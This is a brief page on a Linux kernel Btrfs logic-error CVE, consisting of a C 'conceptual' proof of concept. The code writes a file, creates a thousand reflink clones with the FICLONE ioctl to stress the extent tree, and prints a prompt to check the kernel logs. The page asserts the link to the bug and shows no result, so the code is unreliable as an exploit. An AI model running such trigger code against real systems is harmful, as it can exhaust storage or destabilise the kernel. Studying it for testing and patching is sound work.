CVE-2026-31666 Linux内核Btrfs逻辑错误

/* * PoC for CVE-2026-31666 (Conceptual) * This code attempts to trigger the lookup_extent_data_ref logic error * by creating a fragmented Btrfs filesystem with many reflinks. * Requires root or privileges to mount/manipulate Btrfs. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> #define FILE_SIZE (1024 * 1024) // 1MB void trigger_extent_lookup(const char *path) { int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return; } // Write initial data char buf[4096]; for (int i = 0; i < FILE_SIZE / 4096; i++) { write(fd, buf, 4096); } // Create clones/reflinks to increase extent tree complexity // This forces the kernel to traverse the extent tree for (int i = 0; i < 1000; i++) { char clone_path[256]; snprintf(clone_path, sizeof(clone_path), "%s.clone.%d", path, i); int clone_fd = open(clone_path, O_WRONLY | O_CREAT, 0644); if (clone_fd > 0) { // FICLONE is the ioctl for reflinking ioctl(clone_fd, FICLONE, fd); close(clone_fd); } } close(fd); printf("Trigger executed. Check kernel logs for Btrfs errors.\n"); } int main() { // Assumes this is run on a mounted Btrfs partition trigger_extent_lookup("test_file.dat"); return 0; }